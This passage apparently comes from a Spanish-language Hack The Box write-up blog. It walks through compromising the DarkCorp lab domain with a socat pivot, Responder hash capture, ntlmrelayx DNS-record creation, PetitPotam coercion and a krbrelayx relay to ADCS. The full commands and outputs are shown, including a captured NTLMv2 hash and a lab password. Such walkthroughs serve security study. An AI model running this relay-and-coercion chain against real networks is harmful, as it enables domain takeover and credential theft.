<p>Y así, abusando de la lógica legítima de Kerberos y sin explotar ninguna vulnerabilidad clásica, logré comprometer completamente este entorno de Active Directory.</p>]]></content><author><name>0xzig0x</name></author><category term="Hack The Box" /><category term="Active Directory" /><category term="RBCD" /><category term="Resource-Based Constrained Delegation" /><category term="Active Directory" /><category term="Kerberos" /><category term="S4U2Self" /><category term="S4U2Proxy" /><category term="DCSync" /><category term="BloodHound" /><category term="Impacket" /><category term="Privilege Escalation" /><category term="Domain Controller" /><category term="HTB" /><category term="Rebound" /><category term="Red Team" /><category term="Windows" /><summary type="html"><![CDATA[¿Qué es? Una funcion de AD que permite delegar permisos de forma controlada — en vez de darle acceso total a una cuenta, le decís específicamente a qué recursos puede acceder actuando en nombre de otros usuarios.]]></summary></entry><entry><title type="html">DNSAdmins to Domain Compromise via Kerberos Relay and ADCS</title><link href="https://0xzig0x.github.io/hack%20the%20box/windows/2026/02/16/DNSAdmins-to-Domain-Compromise-via-Kerberos-Relay-and-ADCS.html" rel="alternate" type="text/html" title="DNSAdmins to Domain Compromise via Kerberos Relay and ADCS" /><published>2026-02-16T00:00:00+00:00</published><updated>2026-02-16T00:00:00+00:00</updated><id>https://0xzig0x.github.io/hack%20the%20box/windows/2026/02/16/DNSAdmins-to-Domain-Compromise-via-Kerberos-Relay-and-ADCS</id><content type="html" xml:base="https://0xzig0x.github.io/hack%20the%20box/windows/2026/02/16/DNSAdmins-to-Domain-Compromise-via-Kerberos-Relay-and-ADCS.html"><![CDATA[<p>Hoy voy a hablar de un ataque bastante interesante y con varios pasos encadenados para comprometer un Active Directory completo. La cosa empieza así: hay una cuenta de servicio que pertenece al grupo <strong>DNSAdmins</strong>, pero yo no tengo sus credenciales. Lo único que tengo es una forma de provocar tráfico desde esa cuenta hacia mí.</p>

<p>Aquí es donde entra el <strong>Kerberos Relay</strong>. La idea es simple pero letal: si puedo hacer que esa cuenta se autentique contra algo que yo controlo, puedo capturar esa autenticación Kerberos y <strong>relayarla</strong> (redirigirla) hacia otro servicio, en este caso <strong>Active Directory Certificate Services (ADCS)</strong>.</p>

<p>¿Por qué ADCS? Porque si logro que ADCS me dé un certificado válido usando la autenticación robada, ese certificado me permite autenticarme como la cuenta de servicio sin necesitar su contraseña. Y una vez tengo eso, puedo abusar de sus privilegios para escalar hasta Domain Admin.</p>

<p>El grupo <strong>DNSAdmins</strong> es clave aquí porque me permite crear registros DNS falsos en el dominio. Eso significa que puedo hacer que las máquinas del dominio intenten conectarse a un servidor controlado por mí pensando que es legítimo. Cuando lo hacen, capturó la autenticación Kerberos y arranca toda la cadena.</p>

<hr />

<h2 id="contexto-del-ataque---máquina-darkcorp-htb">Contexto del Ataque - Máquina DarkCorp (HTB)</h2>

<p>Para demostrar este ataque voy a estar usando la máquina <strong>DarkCorp</strong> de HackTheBox, donde precisamente se explota esta cadena para escalar privilegios hasta Domain Admin.</p>

<h3 id="el-punto-de-entrada-forzando-tráfico-desde-svc_acc">El punto de entrada: Forzando tráfico desde svc_acc</h3>

<p>Primero, necesito entender cómo puedo hacer que la cuenta <code class="language-plaintext highlighter-rouge">svc_acc</code> genere tráfico hacia mí para poder capturar y relayar su autenticación.</p>

<p>En esta máquina hay un servicio web corriendo en el puerto 5000. En el dashboard, específicamente en la sección <strong>“Check Status”</strong>, hay un panel que permite verificar el estado de un dominio.</p>

<p><a href="/assets/images/45.png"><img src="/assets/images/45.png" alt="" /></a></p>

<p>La clave aquí es simple: si ese panel está verificando si un dominio está activo, <strong>por detrás tiene que estar enviando una solicitud HTTP</strong>. Y si hay una solicitud, hay una cuenta generando tráfico. Esa cuenta es <code class="language-plaintext highlighter-rouge">svc_acc</code></p>

<h3 id="redirigiendo-el-tráfico-con-socat">Redirigiendo el tráfico con socat</h3>

<p>Ahora viene la parte interesante. Anteriormente había logrado acceso al sistema con una shell como el usuario <code class="language-plaintext highlighter-rouge">postgres</code>, que está en un entorno Linux pero <strong>dentro de la red interna del DC</strong>. Esto es clave porque puedo usar esa sesión como puente.</p>

<p>Lo que hago es usar <strong>socat</strong> para redirigir todo el tráfico del puerto 8080 de la red interna hacia mi puerto 80 en mi máquina atacante:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>postgres@drip:/dev/shm<span class="nv">$ </span>./socat TCP-LISTEN:8080,reuseaddr,fork TCP:10.10.15.127:80
</code></pre></div></div>

<p>Básicamente, cualquier solicitud que llegue al puerto 8080 en la red interna, termina llegando directamente a mí. Esto también se puede hacer con cualquier cuenta que esté en la red interna del DC, no necesariamente tiene que ser <code class="language-plaintext highlighter-rouge">postgres</code>.</p>

<h3 id="capturando-el-hash-ntlmv2-con-responder">Capturando el hash NTLMv2 con Responder</h3>

<p>Con el tráfico ya redirigido hacia mí, levanto <strong>Responder</strong> en mi interfaz <code class="language-plaintext highlighter-rouge">tun0</code>. Responder es una herramienta que envenena la red y cuando recibe solicitudes, <strong>obliga al cliente a resolver un reto de autenticación NTLM</strong>, capturando así el hash NTLMv2.</p>

<p>Activo Responder y desde la web le doy a “Check!” apuntando al dominio <code class="language-plaintext highlighter-rouge">drip.darkcorp.htb:8080</code>. En cuestión de segundos, Responder captura el hash</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>.env<span class="o">)</span>─<span class="o">(</span>root㉿kali<span class="o">)</span>-[/home/kali/Downloads/Responder]
└─# python3 Responder.py <span class="nt">-I</span> tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  <span class="nt">-__</span>|__ <span class="nt">--</span>|  _  |  _  |     |  _  <span class="o">||</span>  <span class="nt">-__</span>|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|


<span class="o">[</span><span class="k">*</span><span class="o">]</span> Tips jar:
    USDT -&gt; 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
    BTC  -&gt; bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49

<span class="o">[</span>+] Poisoners:
    LLMNR                      <span class="o">[</span>ON]
    NBT-NS                     <span class="o">[</span>ON]
    MDNS                       <span class="o">[</span>ON]
    DNS                        <span class="o">[</span>ON]
    DHCP                       <span class="o">[</span>OFF]
    DHCPv6                     <span class="o">[</span>OFF]

<span class="o">[</span>+] Servers:
    HTTP server                <span class="o">[</span>ON]
    HTTPS server               <span class="o">[</span>ON]
    WPAD proxy                 <span class="o">[</span>OFF]
    Auth proxy                 <span class="o">[</span>OFF]
    SMB server                 <span class="o">[</span>ON]
    Kerberos server            <span class="o">[</span>ON]
    SQL server                 <span class="o">[</span>ON]
    FTP server                 <span class="o">[</span>ON]
    IMAP server                <span class="o">[</span>ON]
    POP3 server                <span class="o">[</span>ON]
    SMTP server                <span class="o">[</span>ON]
    DNS server                 <span class="o">[</span>ON]
    LDAP server                <span class="o">[</span>ON]
    MQTT server                <span class="o">[</span>ON]
    RDP server                 <span class="o">[</span>ON]
    DCE-RPC server             <span class="o">[</span>ON]
    WinRM server               <span class="o">[</span>ON]
    SNMP server                <span class="o">[</span>ON]

<span class="o">[</span>+] HTTP Options:
    Always serving EXE         <span class="o">[</span>OFF]
    Serving EXE                <span class="o">[</span>OFF]
    Serving HTML               <span class="o">[</span>OFF]
    Upstream Proxy             <span class="o">[</span>OFF]

<span class="o">[</span>+] Poisoning Options:
    Analyze Mode               <span class="o">[</span>OFF]
    Force WPAD auth            <span class="o">[</span>OFF]
    Force Basic Auth           <span class="o">[</span>OFF]
    Force LM downgrade         <span class="o">[</span>OFF]
    Force ESS downgrade        <span class="o">[</span>OFF]

<span class="o">[</span>+] Generic Options:
    Responder NIC              <span class="o">[</span>tun0]
    Responder IP               <span class="o">[</span>10.10.15.127]
    Responder IPv6             <span class="o">[</span>fe80::e318:5d01:b5cd:50cd]
    Challenge <span class="nb">set</span>              <span class="o">[</span>random]
    Don<span class="s1">'t Respond To Names     ['</span>ISATAP<span class="s1">', '</span>ISATAP.LOCAL<span class="s1">']
    Don'</span>t Respond To MDNS TLD  <span class="o">[</span><span class="s1">'_DOSVC'</span><span class="o">]</span>
    TTL <span class="k">for </span>poisoned response  <span class="o">[</span>default]

<span class="o">[</span>+] Current Session Variables:
    Responder Machine Name     <span class="o">[</span>WIN-M3PN69P4XUZ]
    Responder Domain Name      <span class="o">[</span>MJFV.LOCAL]
    Responder DCE-RPC Port     <span class="o">[</span>48356]

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Version: Responder 3.2.2.0
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Author: Laurent Gaffie, &lt;lgaffie@secorizon.com&gt;

<span class="o">[</span>+] Listening <span class="k">for </span>events...                                                                                                                                                                 

<span class="o">[</span>HTTP] NTLMv2 Client   : 10.129.232.7
<span class="o">[</span>HTTP] NTLMv2 Username : darkcorp<span class="se">\s</span>vc_acc
<span class="o">[</span>HTTP] NTLMv2 Hash     : svc_acc::darkcorp:5fd46f0d0832cfc1:C60DA4FDA6DB8F96B3D81BA15B76BAD9:010100000000000033C54535D591DC0115ED0A7CC51BF7F600000000020008004D004A004600560001001E00570049004E002D004D00330050004E003600390050003400580055005A00040014004D004A00460056002E004C004F00430041004C0003003400570049004E002D004D00330050004E003600390050003400580055005A002E004D004A00460056002E004C004F00430041004C00050014004D004A00460056002E004C004F00430041004C0008003000300000000000000000000000003000006974F8F84286AE2439510D4BB467DAC5FE01251AB20F6353EB5B85F0E1EAB6930A0010000000000000000000000000000000000009002C0048005400540050002F0064007200690070002E006400610072006B0063006F00720070002E006800740062000000000000000000                                               
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Skipping previously captured <span class="nb">hash </span><span class="k">for </span>darkcorp<span class="se">\s</span>vc_acc
</code></pre></div></div>

<p>Tengo el hash de <code class="language-plaintext highlighter-rouge">darkcorp\svc_acc</code>, la cuenta de servicio que está haciendo las verificaciones por detrás</p>

<h3 id="y-si-no-puedo-crackear-el-hash">¿Y si no puedo crackear el hash?</h3>

<p>Aunque este hash no se pudo crackear con diccionarios, <strong>no es el final del camino</strong>. Aquí es donde entra el <strong>Kerberos Relay</strong>. En lugar de intentar romper el hash, puedo aprovechar directamente esa autenticación que está generando <code class="language-plaintext highlighter-rouge">svc_acc</code> y <strong>relayarla</strong> hacia otro servicio, específicamente hacia ADCS, para obtener algo mucho más valioso: un certificado válido.</p>

<p>Y ahí es donde la cosa se pone realmente interesante.</p>

<h2 id="abusando-de-dnsadmins-para-crear-el-vector-de-ataque">Abusando de DNSAdmins para crear el vector de ataque</h2>

<p>Aquí es donde la cosa se pone realmente interesante. Al revisar en <strong>BloodHound</strong> los grupos a los que pertenece <code class="language-plaintext highlighter-rouge">svc_acc</code> (había recolectado información del AD anteriormente), noto algo clave: <strong>esta cuenta es miembro del grupo DNSAdmins</strong>.</p>

<p>Esto es crítico porque pertenecer a DNSAdmins me permite <strong>crear registros DNS</strong> en el dominio apuntando a mi IP. Con eso puedo hacer que cuando las máquinas del dominio intenten resolver ese nombre, terminen conectándose a mí. Y cuando eso pase, capturo la autenticación Kerberos y la relaeo hacia <strong>ADCS</strong> para obtener un certificado válido.</p>

<p><a href="/assets/images/46.png"><img src="/assets/images/46.png" alt="" /></a></p>

<p>Para entender bien esta técnica, me basé en este artículo de Synacktiv sobre <a href="https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx">Relaying Kerberos over SMB using krbrelayx</a>.</p>

<h3 id="creando-el-registro-dns-malicioso">Creando el registro DNS malicioso</h3>

<p>Lo primero que hago es levantar <strong>ntlmrelayx</strong> apuntando contra LDAP para crear el registro DNS</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/Desktop/HTB/dark/content]
└─<span class="nv">$ </span>proxychains impacket-ntlmrelayx <span class="nt">-t</span> ldap://172.16.20.1 <span class="nt">--add-dns-record</span> dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.15.127
<span class="o">[</span>proxychains] config file found: /etc/proxychains4.conf
<span class="o">[</span>proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
<span class="o">[</span>proxychains] DLL init: proxychains-ng 4.17
<span class="o">[</span>proxychains] DLL init: proxychains-ng 4.17
<span class="o">[</span>proxychains] DLL init: proxychains-ng 4.17
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client MSSQL loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client DCSYNC loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client HTTPS loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client HTTP loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client IMAPS loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client IMAP loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client WINRMS loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client LDAPS loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client LDAP loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client RPC loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client SMTP loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client SMB loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Running <span class="k">in </span>relay mode to single host
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Setting up SMB Server on port 445
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Setting up HTTP Server on port 80
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Setting up WCF Server on port 9389
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Setting up RAW Server on port 6666
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Setting up WinRM <span class="o">(</span>HTTP<span class="o">)</span> Server on port 5985
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Setting up WinRMS <span class="o">(</span>HTTPS<span class="o">)</span> Server on port 5986
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Setting up RPC Server on port 135
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Multirelay disabled

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Servers started, waiting <span class="k">for </span>connections
</code></pre></div></div>

<h3 id="por-qué-ese-nombre-dns-tan-largo-y-extraño">¿Por qué ese nombre DNS tan largo y extraño?</h3>

<p>Ese nombre (<code class="language-plaintext highlighter-rouge">dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA</code>) no es aleatorio. Es una <strong>estructura serializada en Base64</strong> que engaña al sistema de autenticación Kerberos de Windows.</p>

<p>El truco funciona así:</p>

<ol>
  <li><strong>Estructura serializada</strong>: Ese nombre largo contiene una estructura <code class="language-plaintext highlighter-rouge">CREDENTIAL_TARGET_INFORMATION</code> codificada.</li>
  <li><strong>Explotación del mecanismo</strong>: Cuando un cliente SMB construye el SPN (Service Principal Name), Windows usa la función <code class="language-plaintext highlighter-rouge">SecMakeSPNEx2</code>, que internamente llama a <code class="language-plaintext highlighter-rouge">CredMarshalTargetInfo</code> y agrega esa información al final del SPN.</li>
  <li><strong>El engaño clave</strong>:
    <ul>
      <li>El cliente solicita un ticket Kerberos para un servicio legítimo (como <code class="language-plaintext highlighter-rouge">cifs/fileserver</code>)</li>
      <li>Pero se conecta físicamente al servidor con el nombre largo (el mio)</li>
      <li>Windows llama a <code class="language-plaintext highlighter-rouge">CredUnmarshalTargetInfo</code> para procesar los datos</li>
      <li><strong>Elimina automáticamente</strong> esa parte larga del final, restaurando el SPN original</li>
      <li>El paquete Kerberos contiene el nombre legítimo, pero la conexión TCP va a mi servidor</li>
    </ul>
  </li>
</ol>

<p>Es básicamente un <strong>bypass del mecanismo de validación de Kerberos</strong>. Windows cree que está conectándose a algo legítimo, pero termina hablando conmigo.</p>

<p>Con <code class="language-plaintext highlighter-rouge">ntlmrelayx</code> levantado y esperando conexiones, vuelvo a la web y genero tráfico nuevamente haciendo clic en “Check!”. Esta vez, en lugar de solo capturar el hash, <strong>relaeo la autenticación completa hacia LDAP</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">*</span><span class="o">]</span> <span class="o">(</span>HTTP<span class="o">)</span>: Client requested path: /
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="o">(</span>HTTP<span class="o">)</span>: Client requested path: /
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="o">(</span>HTTP<span class="o">)</span>: Client requested path: /
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="o">(</span>HTTP<span class="o">)</span>: Connection from 10.129.232.7 controlled, attacking target ldap://172.16.20.1
<span class="o">[</span>proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:389  ...  OK
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="o">(</span>HTTP<span class="o">)</span>: Client requested path: /
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="o">(</span>HTTP<span class="o">)</span>: Authenticating connection from DARKCORP/SVC_ACC@10.129.232.7 against ldap://172.16.20.1 SUCCEED <span class="o">[</span>1]
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ldap://DARKCORP/SVC_ACC@172.16.20.1 <span class="o">[</span>1] -&gt; Enumerating relayed user<span class="s1">'s privileges. This may take a while on large domains
[*] ldap://DARKCORP/SVC_ACC@172.16.20.1 [1] -&gt; Checking if domain already has a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` DNS record
[*] ldap://DARKCORP/SVC_ACC@172.16.20.1 [1] -&gt; Domain does not have a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` record!
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:53  ...  OK
[*] ldap://DARKCORP/SVC_ACC@172.16.20.1 [1] -&gt; Adding `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` pointing to `10.10.15.127` at `DC=dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA,DC=darkcorp.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=darkcorp,DC=htb`
[*] ldap://DARKCORP/SVC_ACC@172.16.20.1 [1] -&gt; Added `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA`. DON'</span>T FORGET TO CLEANUP <span class="o">(</span><span class="nb">set</span> <span class="sb">`</span>dNSTombstoned<span class="sb">`</span> to <span class="sb">`</span>TRUE<span class="sb">`</span>, <span class="nb">set</span> <span class="sb">`</span>dnsRecord<span class="sb">`</span> to a NULL byte<span class="o">)</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ldap://DARKCORP/SVC_ACC@172.16.20.1 <span class="o">[</span>1] -&gt; Dumping domain info <span class="k">for </span>first <span class="nb">time</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ldap://DARKCORP/SVC_ACC@172.16.20.1 <span class="o">[</span>1] -&gt; Domain info dumped into lootdir!
</code></pre></div></div>

<p>Perfecto. La autenticación fue exitosa, <code class="language-plaintext highlighter-rouge">ntlmrelayx</code> se autenticó en LDAP <strong>como svc_acc</strong> y creó el registro DNS apuntando a mi IP. Ahora cualquier máquina que intente resolver ese nombre, terminará conectándose a mí</p>

<h2 id="relayando-kerberos-hacia-adcs-y-obteniendo-el-certificado">Relayando Kerberos hacia ADCS y obteniendo el certificado</h2>

<p>Ahora viene la parte final del ataque. Lo siguiente es levantar <strong>krbrelayx</strong>, que será quien capture la autenticación Kerberos y la relaee directamente hacia <strong>AD CS</strong> para solicitar un certificado.</p>

<p>Lo configuro apuntando al endpoint de Certificate Services</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>.env<span class="o">)</span>─<span class="o">(</span>root㉿kali<span class="o">)</span>-[/home/kali/Downloads/krbrelayx]
└─# proxychains python3 krbrelayx.py <span class="nt">-t</span> <span class="s1">'https://dc-01.darkcorp.htb/certsrv/certfnsh.asp'</span> <span class="nt">--adcs</span> <span class="nt">--template</span> Machine <span class="nt">-v</span> <span class="s1">'WEB-01$'</span> <span class="nt">-dc-ip</span> 172.16.20.1
<span class="o">[</span>proxychains] config file found: /etc/proxychains4.conf
<span class="o">[</span>proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
<span class="o">[</span>proxychains] DLL init: proxychains-ng 4.17
/home/kali/Downloads/krbrelayx/lib/clients/__init__.py:17: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated <span class="k">for </span>removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&lt;81.
  import os, sys, pkg_resources
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client HTTP loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client HTTPS loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client LDAPS loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client LDAP loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Protocol Client SMB loaded..
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Running <span class="k">in </span>attack mode to single host
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Running <span class="k">in </span>kerberos relay mode because no credentials were specified.
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Setting up SMB Server
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Setting up HTTP Server on port 80
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Setting up DNS Server

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Servers started, waiting <span class="k">for </span>connections
</code></pre></div></div>

<p><strong>Parámetros clave:</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">-t</code>: Target, el endpoint web de ADCS</li>
  <li><code class="language-plaintext highlighter-rouge">--adcs</code>: Modo ADCS para solicitar certificados</li>
  <li><code class="language-plaintext highlighter-rouge">--template Machine</code>: Plantilla de certificado de máquina (permite autenticación)</li>
  <li><code class="language-plaintext highlighter-rouge">-v 'WEB-01$'</code>: Víctima, la cuenta máquina que forzaremos a autenticarse</li>
</ul>

<p>krbrelayx levanta servidores SMB, HTTP y DNS, quedando a la espera de recibir una autenticación Kerberos válida.</p>

<h3 id="forzando-la-autenticación-con-petitpotam">Forzando la autenticación con PetitPotam</h3>

<p>Para provocar que una máquina del dominio se autentique contra mí, uso <strong>PetitPotam</strong>, una técnica que abusa de funciones RPC del servicio de cifrado de archivos (MS-EFSRPC) para forzar autenticación.</p>

<p>Lo apunto al registro DNS malicioso que creé antes</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿kali<span class="o">)</span>-[~/…/HTB/dark/content/PetitPotam]
└─<span class="nv">$ </span>proxychains python3 PetitPotam.py <span class="nt">-u</span> victor.r <span class="nt">-p</span> <span class="s1">'victor1gustavo@#'</span> <span class="nt">-d</span> darkcorp.htb <span class="s1">'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA'</span> 172.16.20.2
<span class="o">[</span>proxychains] config file found: /etc/proxychains4.conf
<span class="o">[</span>proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
<span class="o">[</span>proxychains] DLL init: proxychains-ng 4.17
/home/kali/Desktop/HTB/dark/content/PetitPotam/PetitPotam.py:23: SyntaxWarning: invalid escape sequence <span class="s1">'\ '</span>
  | _ <span class="se">\ </span>  ___    | |_     <span class="o">(</span>_<span class="o">)</span>    | |_     | _ <span class="se">\ </span>  ___    | |_    __ _    _ __

                                                                                               
              ___            _        _      _        ___            _                     
             | _ <span class="se">\ </span>  ___    | |_     <span class="o">(</span>_<span class="o">)</span>    | |_     | _ <span class="se">\ </span>  ___    | |_    __ _    _ __   
             |  _/  / <span class="nt">-_</span><span class="o">)</span>   |  _|    | |    |  _|    |  _/  / _ <span class="se">\ </span>  |  _|  / _<span class="sb">`</span> |  | <span class="s1">'  \  
            _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_| 
          _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| 
          "`-0-0-'</span><span class="s2">"</span><span class="sb">`</span><span class="nt">-0-0-</span><span class="s1">'"`-0-0-'</span><span class="s2">"</span><span class="sb">`</span><span class="nt">-0-0-</span><span class="s1">'"`-0-0-'</span><span class="s2">"</span><span class="sb">`</span><span class="nt">-0-0-</span><span class="s1">'"`-0-0-'</span><span class="s2">"</span><span class="sb">`</span><span class="nt">-0-0-</span><span class="s1">'"`-0-0-'</span><span class="s2">"</span><span class="sb">`</span><span class="nt">-0-0-</span><span class="s1">' 
                                         
              PoC to elicit machine account authentication via some MS-EFSRPC functions
                                      by topotam (@topotam77)
      
                     Inspired by @tifkin_ &amp; @elad_shamir previous work on MS-RPRN



Trying pipe lsarpc
[-] Connecting to ncacn_np:172.16.20.2[\PIPE\lsarpc]
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
</span></code></pre></div></div>

<p>Aunque <code class="language-plaintext highlighter-rouge">EfsRpcOpenFileRaw</code> está parcheada, <strong>encuentra otra función sin parchear</strong> (<code class="language-plaintext highlighter-rouge">EfsRpcEncryptFileSrv</code>) y la explota exitosamente.</p>

<p><strong>¿Qué hace PetitPotam?</strong></p>

<ul>
  <li>Se conecta a la máquina objetivo (172.16.20.2) mediante SMB</li>
  <li>Llama a funciones del servicio MS-EFSRPC</li>
  <li>Esto <strong>obliga a la máquina a autenticarse</strong> contra el nombre que especifiques</li>
</ul>

<h3 id="capturando-el-certificado">Capturando el certificado</h3>

<p>En mi servidor con krbrelayx recibo la conexión:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span><span class="k">*</span><span class="o">]</span> SMBD: Received connection from 10.129.232.7
<span class="o">[</span>proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc-01.darkcorp.htb:443  ...  OK
<span class="o">[</span><span class="k">*</span><span class="o">]</span> HTTP server returned status code 200, treating as a successful login
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Generating CSR...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> SMBD: Received connection from 10.129.232.7
<span class="o">[</span><span class="k">*</span><span class="o">]</span> CSR generated!
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Getting certificate...
<span class="o">[</span>proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc-01.darkcorp.htb:443  ...  OK
<span class="o">[</span><span class="k">*</span><span class="o">]</span> HTTP server returned status code 200, treating as a successful login
<span class="o">[</span><span class="k">*</span><span class="o">]</span> GOT CERTIFICATE! ID 6
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Writing PKCS#12 certificate to ./WEB-01.pfx
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Skipping user WEB-01<span class="nv">$ </span>since attack was already performed
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Certificate successfully written to file
^C                                                                                                                                                                                            
┌──<span class="o">(</span>.env<span class="o">)</span>─<span class="o">(</span>root㉿kali<span class="o">)</span>-[/home/kali/Downloads/krbrelayx]
└─# <span class="nb">ls
</span>addspn.py  dnstool.py  krbrelayx.py  lib  LICENSE  printerbug.py  README.md  WEB-01.pfx
</code></pre></div></div>

<h3 id="por-qué-web-01-y-no-svc_acc">¿Por qué WEB-01$ y no svc_acc?</h3>

<p>Esto es importante entenderlo bien. Cuando ejecutamos PetitPotam apuntando al registro DNS malicioso, <strong>no estamos forzando la autenticación de svc_acc</strong>, sino la de la <strong>cuenta máquina de WEB-01</strong>.</p>

<p>¿Por qué? Porque PetitPotam lo que hace es obligar a una <strong>máquina</strong> a autenticarse, no a un usuario. Cuando apuntas PetitPotam contra <code class="language-plaintext highlighter-rouge">172.16.20.2</code> (que es WEB-01), esa máquina es quien genera la autenticación Kerberos hacia el nombre DNS que le especificas. Y en Active Directory, cada máquina tiene su propia cuenta con el formato <code class="language-plaintext highlighter-rouge">MAQUINA$</code>, en este caso <code class="language-plaintext highlighter-rouge">WEB-01$</code>.</p>

<p>Entonces el flujo es:</p>

<ul>
  <li>PetitPotam le dice a <strong>WEB-01</strong> que se autentique contra nuestro registro DNS malicioso</li>
  <li><strong>WEB-01</strong> obedece y envía su autenticación Kerberos como <code class="language-plaintext highlighter-rouge">WEB-01$</code></li>
  <li>krbrelayx captura esa autenticación y la relaea hacia ADCS</li>
  <li>ADCS emite un certificado válido para <code class="language-plaintext highlighter-rouge">WEB-01$</code></li>
</ul>

<p><strong>¿Y por qué nos interesa la cuenta máquina y no svc_acc?</strong></p>

